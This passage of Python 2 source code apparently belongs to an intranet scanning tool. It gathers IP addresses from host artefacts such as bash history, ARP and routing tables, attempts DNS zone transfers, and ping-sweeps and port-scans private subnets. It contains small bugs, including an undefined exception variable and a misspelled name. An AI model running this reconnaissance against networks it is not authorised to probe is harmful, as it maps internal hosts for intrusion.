[] 373 | keyip = [] 374 | keyipmaybe =[] 375 | network = [] 376 | keynetwork = [] 377 | keynetworkmaybe = [] 378 | 379 | _ex_ip =[ 380 | '127.0.0.1', 381 | '0.0.0.0', 382 | '255.255.255.255', 383 | '255.255.255.0', 384 | '255.255.0.0', 385 | '255.0.0.0', 386 | '127.0.1.1', 387 | '8.8.8.8', 388 | '114.114.114.114' 389 | ] 390 | 391 | _iplistsearch = [ 392 | self.host_useronline, 393 | self.host_last, 394 | self.host_services, 395 | self.host_ESTABLISHEDlink, 396 | self.dns, 397 | self.etc_hosts, 398 | self.ifconfig, 399 | self.arp, 400 | self.route, 401 | self.inerwww 402 | ] 403 | 404 | _iplistsearchmaybe = [ 405 | self.host_bash_history 406 | ] 407 | 408 | 409 | 410 | 411 | for text in _iplistsearchmaybe: 412 | if type(text) == type('1'): 413 | ip+=self.__getIPinStr(text) 414 | elif type(text) == type(['1']): 415 | for text2 in text: 416 | ip+=self.__getIPinStr(text2) 417 | [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理 418 | self.keyipmaybe = keyipmaybe 419 | 420 | #变量中的IP并去重,去无效IP 421 | ip = [] 422 | for text in _iplistsearch: 423 | if type(text) == type('1'): 424 | ip+=self.__getIPinStr(text) 425 | elif type(text) == type(['1']): 426 | for text2 in text: 427 | ip+=self.__getIPinStr(text2) 428 | [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理 429 | #将IP地址转换为网段,并去重 430 | self.keyip = keyip 431 | 432 | _ex_network =[ 433 | '127.0.0.0' 434 | ] 435 | 436 | for netip in self.keyipmaybe: 437 | network.append(self.__ip2network(netip)) 438 | [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network] 439 | 440 | network = [] 441 | for netip in self.keyip: 442 | network.append(self.__ip2network(netip)) 443 | [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network] 444 | #筛选出私有IP地址 445 | _privatNet = [ 446 | '172', 447 | '192', 448 | '10' 449 | ] 450 | print u"iner ip maybe exist:" 451 | for net in keynetworkmaybe: 452 | netsplit = net.split('.') 453 | if netsplit[0] in _privatNet: 454 | print net 455 | self.networkmaybe.append(net) 456 | 457 | print u"verfiy iner ip:" 458 | for net in keynetwork: 459 | netsplit = net.split('.') 460 | if netsplit[0] in _privatNet: 461 | print net 462 | self.network.append(net) 463 | 464 | 465 | def __ip2network(self,ip): 466 | return self.re_network.findall(ip)[0]+'.0' 467 | 468 | def __getIPinStr(self,string): 469 | ip = self.re_ip.findall(string) 470 | return ip 471 | 472 | __LEN_QUERY = 0 # Length of Query String 473 | def __gen_query(self,domain): 474 | import random 475 | TRANS_ID = random.randint(1, 65535) # random ID 476 | FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0 477 | data = struct.pack( 478 | '!HHHHHH', 479 | TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT 480 | ) 481 | query = '' 482 | for label in domain.strip().split('.'): 483 | query += struct.pack('!B', len(label)) + label.lower() 484 | query += '\x00' # end of domain name 485 | data += query 486 | global __LEN_QUERY 487 | __LEN_QUERY = len(query) # length of query section 488 | q_type = 252 # Type AXFR = 252 489 | q_class = 1 # CLASS IN 490 | data += struct.pack('!HH', q_type, q_class) 491 | data = struct.pack('!H', len(data) ) + data # first 2 bytes should be length 492 | return data 493 | 494 | 495 | __OFFvSET = 0 # Response Data offset 496 | __TYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', 497 | 12: 'PTR', 15: 'MX', 16: 'TXT', 498 | 28: 'AAAA', 38: 'A6', 99: 'SPF',} 499 | 500 | def __decode(self,response): 501 | RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111 502 | if RCODE != 0: 503 | print 'Transfer Failed. %>_<%' 504 | sys.exit(-1) 505 | anwser_rrs = struct.unpack('!H', response[6:8] )[0] 506 | print '<< %d records in total >>' % anwser_rrs 507 | global __LEN_QUERY, __OFFSET 508 | __OFFSET = 12 + __LEN_QUERY + 4 # header = 12, type + class = 4 509 | while __OFFSET < len(response): 510 | name_offset = response[__OFFSET: __OFFSET + 2] # 2 bytes 511 | name_offset = struct.unpack('!H', name_offset)[0] 512 | if name_offset > 0b1100000000000000: 513 | name = self.__get_name(response, name_offset - 0b1100000000000000, True) 514 | else: 515 | name = self.__get_name(response, __OFFSET) 516 | type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0] 517 | type = self.__TYPES.get(type, '') 518 | if type != 'A': print name.ljust(20), type.ljust(10) 519 | __OFFSET += 8 # type: 2 bytes, class: 2bytes, time to live: 4 bytes 520 | data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0] 521 | if data_length == 4 and type == 'A': 522 | ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ] 523 | print name.ljust(20), type.ljust(10), '.'.join(ip) 524 | __OFFSET += 2 + data_length 525 | 526 | # is_pointer: an name offset or not 527 | def __get_name(self,response, name_offset, is_pointer=False): 528 | global __OFFSET 529 | labels = [] 530 | while True: 531 | num = struct.unpack('B', response[name_offset])[0] 532 | if num == 0 or num > 128: break # end with 0b00000000 or 0b1??????? 533 | labels.append( response[name_offset + 1: name_offset + 1 + num] ) 534 | name_offset += 1 + num 535 | if not is_pointer: __OFFSET += 1 + num 536 | name = '.'.join(labels) 537 | __OFFSET += 2 # 0x00 538 | return name 539 | 540 | def GetDomainList(self,dnsip,domain): 541 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 542 | s.connect( (dnsip, 53) ) 543 | data = self.__gen_query(domain) 544 | s.send(data) 545 | s.settimeout(2.0) # In case recv() blocked 546 | response = s.recv(4096) 547 | res_len = struct.unpack('!H', response[:2])[0] # Response Content Length 548 | while len(response) < res_len: 549 | response += s.recv(4096) 550 | s.close() 551 | self.__decode(response[2:]) 552 | 553 | def _ip2int(self,ip): 554 | return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])]) 555 | 556 | def _int2ip(self,intip): 557 | return '.'.join([str(intip/(256**i)%256) for i in range(3,-1,-1)]) 558 | 559 | def __pingScan(self,ip): 560 | if platform.system() == 'Linux': 561 | p = Popen(['ping','-c 1',ip],stdout=PIPE) 562 | m = re.search('[1-9]+\sreceived', p.stdout.read()) 563 | if m: 564 | self.networkIPlistA.append(ip) 565 | if platform.system()=='Windows': 566 | p = Popen('ping -n 1 ' + ip, stdout=PIPE) 567 | m = re.search('TTL=', p.stdout.read()) 568 | if m: 569 | self.networkIPlistA.append(ip) 570 | 571 | return FINISH 572 | 573 | def __portScan(self,scan): 574 | portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 575 | portConnect.settimeout(100) 576 | try: 577 | portConnect.connect((scan[0],scan[1])) 578 | portConnect.close() 579 | self.networkIP_portOpen[scan[0]] += str(scan[1]) + ',' 580 | #print self.networkIP_portOpen 581 | except Exception: 582 | print e 583 | 584 | def PortScan(self): 585 | print u'##########start port scanning################' 586 | print u'###alive host list###' 587 | if self.network == []: 588 | print u'ip is none...' 589 | else: 590 | #得到要ping的ip列表: 591 | _pinglist = [] 592 | for network in self.network: 593 | for i in range(1,255): 594 | _pinglist.append(self._int2ip(self._ip2int(network)+i)) 595 | 596 | #开始执行 597 | _th_num = len(_pinglist) 598 | pingT = Threadpool(self.__pingScan,200) 599 | pingT.add(_pinglist) 600 | pingT.join() 601 | 602 | #打印扫描存活IP列表结果,并给端口开发字典赋值 603 | for ip in self.networkIPlistA: 604 | self.networkIP_portOpen[ip]='' 605 | print ip 606 | 607 | print u'###port open..###' 608 | _scanlist = [] 609 | for ip in self.networkIPlistA: 610 | for port in self.portlist: 611 | _scanlist.append([ip,port]) 612 | portT = Threadpool(self.__portScan,200) 613 | portT.add(_scanlist) 614 | portT.join() 615 | #print self.networkIP_portOpen 616 | #打印端口扫描结果: 617 | for ip in self.networkIPlistA: 618 | portlist = self.networkIP_portOpen[ip].split(',') 619 | #print portlist 620 | for port in portlist: 621 | if port != '': 622 | print '%s:%s' % (ip,port) 623 | #先ping,后直接进行TCP连接扫描 624 | print u'##########port scan finished##########' 625 | print u'####################network info finished####################\n' 626 | 627 | 628 | 629 | if __name__ == '__main__': 630 | domain = sys.argv[1] 631 | out=InScaner(domain) 632 | out.HostInfoGet() 633 | out.NetworkInfoGet() 634 | out.PortScan() 635 | print u'###########total finised' --------------------------------------------------------------------------------